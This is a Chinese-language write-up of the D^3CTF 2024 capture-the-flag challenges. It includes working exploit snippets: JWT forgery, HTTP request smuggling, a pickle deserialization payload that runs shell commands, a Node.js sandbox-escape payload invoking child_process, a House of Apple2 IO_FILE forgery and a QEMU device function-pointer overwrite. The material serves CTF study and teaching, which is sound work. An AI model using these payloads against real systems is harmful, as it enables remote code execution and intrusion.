"凌武杯" D^3CTF 2024 wp
字数 2014 2025-08-19 12:42:18
"凌武杯" D^3CTF 2024 比赛技术解析与教学文档
0x00 比赛概述
"凌武杯" D^3CTF 2024是一场综合性的网络安全竞赛,涵盖了Web安全、二进制漏洞利用(Pwn)、逆向工程(Re)、杂项(Misc)以及物联网安全(IoV)等多个方向。本文档将详细解析比赛中的关键技术点,并提供详细的教学指导。
0x01 Web方向题目解析
d3pythonhttp题目解析
题目描述:一个使用Python web框架构建的应用,涉及JWT token伪造和HTTP请求走私攻击。
关键技术点:
- JWT token伪造:
- 题目使用HS256算法签名JWT
- 密钥泄露在app.py文件中
- 伪造token需要设置
kid头指向app.py
import jwt
def get_key():
try:
with open("app.py", "r") as f:
key = f.read()
except:
pass
return key
user_info = {"username": "w1nd", "isadmin": True}
key = get_key()
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "app.py"})
- HTTP请求走私攻击:
- 使用Transfer-Encoding: chunked绕过检查
- 构造特殊的chunked数据格式
def get_chunked(data):
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data)
print(data)
chunked_data="BackdoorPasswordOnlyForAdmin"
get_chunked(chunked_data)
- Pickle反序列化漏洞:
- 通过修改路由实现RCE
- 构造恶意pickle payload
payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'app.mapping[0]=("/", lambda: __import__("os").popen('cat /*').read())'
tR.
'''
完整攻击流程:
- 伪造JWT token获取admin权限
- 使用HTTP走私攻击绕过后端检查
- 通过Pickle反序列化修改路由
- 访问新路由执行命令获取flag
stack_overflow题目解析
题目描述:一个模拟栈操作的Node.js应用,存在栈溢出漏洞。
关键技术点:
-
栈溢出利用:
- 通过覆盖栈中的函数指针
- 泄露PIE基址
-
Node.js沙箱逃逸:
- 利用constructor.constructor执行任意代码
- 绕过过滤字符限制
(function (...a){
return this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /f*").toString();
})
攻击步骤:
- 覆盖栈中函数指针泄露PIE基址
- 构造恶意函数覆盖原函数
- 通过沙箱逃逸执行系统命令
0x02 Pwn方向题目解析
d3note题目解析
题目描述:一个笔记应用,存在索引越界漏洞。
关键技术点:
-
索引越界利用:
- 越界读写stdout结构体
- 构造伪造的IO_FILE结构
-
House of Apple2利用:
- 通过伪造IO_FILE结构实现任意写
- 最终获取shell
利用代码片段:
fake_file=flat({
file_offset+0x00:b' sh;',
file_offset+0x28:1,
file_offset+0x68:libc_sym('system'),
file_offset+0x88:lock,
file_offset+0xa0:file_addr,
file_offset+0xd8:_IO_wfile_jumps-0x20,
file_offset+0xe0:file_addr,
},filler='\x00')
D3BabyEscape题目解析
题目描述:一个PCI设备模拟题,存在内存越界读写漏洞。
关键技术点:
-
PMIO/MMIO操作:
- 通过端口I/O和内存映射I/O与设备交互
- 修改关键函数指针
-
利用步骤:
- 通过mmio_read泄露函数地址
- 计算system地址
- 通过pmio_write覆盖函数指针
关键代码:
mmio_write(0x80,0xff);
size_t leak=mmio_read(0x15);
size_t system_addr=leak+0x782dcc850d70-0x782dcc846780;
pmio_write(0x50,system_addr);
0x03 逆向工程题目解析
RandomVM题目解析
题目描述:一个自定义虚拟机,使用随机数控制执行流程。
关键技术点:
-
虚拟机分析:
- 使用固定种子(0xD33B470)初始化随机数
- 通过函数指针数组实现跳转
-
控制流恢复:
- 提取所有可能的执行路径
- 分析每个基本块的功能
-
加密算法逆向:
- 输入字符经过位移和异或处理
- 使用z3求解器逆向算法
解密脚本:
from z3 import *
enc = [0x9D, 0x6B, 0xA1, 0x02, 0xD7, 0xED, 0x40, 0xF6, 0x0E, 0xAE, 0x84, 0x19]
s = Solver()
dec = [BitVec(('x%s' % i), 8) for i in range(12)]
# 添加约束条件...
if s.check() == sat:
result = s.model()
print(''.join([chr(result[dec[i]].as_long()) for i in range(12)]))
0x04 杂项题目解析
O!!!SPF!!!!!! Enhanced题目解析
题目描述:一个涉及IPv6和OpenVPN配置的题目。
关键技术点:
-
IPv6路由追踪:
- 使用tracert追踪2a13:b487:11aa::d3:c7f:2f路径
- 从路由节点获取OpenVPN静态密钥
-
OpenVPN配置修复:
- 补全缺失的tls-crypt部分
- 正确配置IP和端口
获取的静态密钥:
bd23ff4fb2b7f8e49200c3801151663d
0dcc848e1b075bd4dcb4fd32712559de
...
aaf26d2a066ce6356487ead9551fda4c
Baldur's Gate 3 Complete Spell List题目解析
题目描述:基于博德之门3法术列表的编码题目。
解题步骤:
-
法术等级提取:
- 从法术描述中提取等级数字
- 第8级法术用数字8表示
-
九进制转换:
- 将提取的数字序列视为九进制
- 转换为十进制后再转ASCII字符
-
Base64解码:
- 最终得到一个包含Base64编码图片的URL
- 解码后获取二维码和flag
0x05 物联网(IoV)题目解析
D3_car_1题目解析
题目描述:一个安卓车载系统题目。
解题步骤:
-
ADB连接:
- 通过nc等待安卓启动
- 使用adb连接设备
-
APK分析:
- 查找目标包名:com.d3car.factory
- 提取APK文件分析
adb pull /system/priv-app/D3Factory/D3Factory.app ./d3car.apk
- Flag查找:
- 直接grep APK文件查找flag
- 或使用jadx反编译分析
0x06 总结与学习要点
-
Web安全:
- JWT安全机制及伪造方法
- HTTP请求走私攻击技术
- Python pickle反序列化漏洞
-
二进制安全:
- 栈溢出利用技术
- IO_FILE结构利用
- 硬件模拟设备漏洞利用
-
逆向工程:
- 自定义虚拟机分析
- 控制流恢复技术
- 使用z3求解器逆向算法
-
杂项技术:
- IPv6网络侦查技术
- OpenVPN配置分析
- 游戏数据编码分析
-
物联网安全:
- ADB调试接口利用
- 安卓APK分析技术
通过本次比赛的技术解析,可以全面了解现代CTF比赛中常见的漏洞类型和利用技术,为安全研究和实战提供宝贵经验。